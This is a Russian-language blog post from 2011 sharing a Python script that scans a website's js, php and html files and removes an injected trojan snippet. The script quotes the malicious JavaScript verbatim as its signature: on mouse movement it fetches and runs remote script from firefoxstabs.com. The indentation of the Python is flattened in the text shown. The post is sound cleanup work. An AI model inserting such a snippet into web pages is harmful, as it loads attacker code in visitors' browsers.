понедельник, 13 июня 2011 г.

Скрипт лечения вируса firefoxstabs.com

Похоже захачили меня на днях. К некоторым js и html файлам дописался кусок javascript кода, который ходит на firefoxstabs.com и пытается загрузить какую-то заразу.
По этой теме для начала стоит прочитать пару постов, чтобы понять что это за зараза и как с ней борятся:
У скрипта на php есть пара недостатков:
  1. Он переходит по симлинкам и у меня получается бесконечный цикл
  2. Он правильно отрабатывает файлы только с одной точкой. Т.е. one.js он обработает, а one.two.js нет.
Вот мой скрипт на python:
#!/usr/local/bin/python
import sys
import os
from optparse import OptionParser

"""
Author: Shiryaev Pavel
Purpose: scan and remove trojan from your site
Status description:
[o] - trojan not found
[d] - trojan removed
[x] - trojan detected
[r] - can't read file
[!] - can't remove trojan from file
[ ] - not scaned
"""

trojan_text = ["""<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"><script type="text/javascript">var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1; x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});""",
"""document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});"""]

options = None

#checking extentions
extentions = ['js','php','html','htm','tpl']

stat = dict()

def scan_dir(wd):
dirs = []
cnt = 0
showdir = False
try:
for element in os.listdir(wd):
full_path = os.path.join(wd,element)
status = " "
#file
if os.path.isfile(full_path):
if os.path.split(full_path)[1].split('.')[-1] in extentions:
status = "o"
try:
data = None
file = open(full_path,"r")
data = file.read()
file.close()
for trj in trojan_text:
if data.find(trj) > 0:
status = "x"
if not options.findonly:
data = data.replace(trj," ")
try:
f = open(full_path,"w")
f.write(data)
f.close()
status = "d"
except:
status = "!"
except:
status = "r"
try:
stat[status] = stat[status]+1
except KeyError:
stat[status] = 1
if (not options.verbose and status in ['d','!','x']) or options.verbose:
cnt = cnt + 1
if cnt == 1 and not showdir:
print("\nWorking Directory: %s " % wd)
showdir=True
print(" [%s] %s" % (status,element))
#directory
elif os.path.isdir(full_path) and (not os.path.islink(full_path) or options.uselink):
dirs.append(full_path)
for dir in dirs:
scan_dir(dir)
except OSError as e:
print(e)

if __name__ == "__main__":
usage = "usage: %prog [options] "
parser = OptionParser(usage=usage)
parser.add_option("-d", "--dir", action="store", type="string", dest="directory", help="Starting directory path, default: current directory", default=os.getcwd())
parser.add_option("-q",action="store_false", dest="verbose", help="quite mode")
parser.add_option("-v",action="store_true", dest="verbose", default=True, help="verbose mode, default: true")
parser.add_option("-l",action="store_true",dest="uselink",default=False,help="Use symlinks on directories when scan, default: false")
parser.add_option("-f",action="store_true",dest="findonly",default=False,help="Find and not delete")
(options,args) = parser.parse_args()
scan_dir(options.directory)
print "-----------------------------------------------------------"
print " TOTAL:"
for row in stat:
print " [%s] %d" % (row,stat[row])


Пользуйтесь:

Usage: fixer.py [options] > out.txt

Options:
-h, --help show this help message and exit
-d DIRECTORY, --dir=DIRECTORY
Starting directory path, default: current directory
-q quite mode
-v verbose mode, default: true
-l Use symlinks on directories when scan, default: false
-f Find and not delete

Если просто запустить fixer.py без параметров то будет сканировать и зачищать вирус начиная с текущей директории рекурсивно, а результаты сканирования выводить на консоль.

1 комментарий:

  1. Спасибо за замечания по моему скрипту на www.0xff.su/0x0005 - таких файлов (с двумя точками) и симлинков не было, по-этому не учитывал.

    ОтветитьУдалить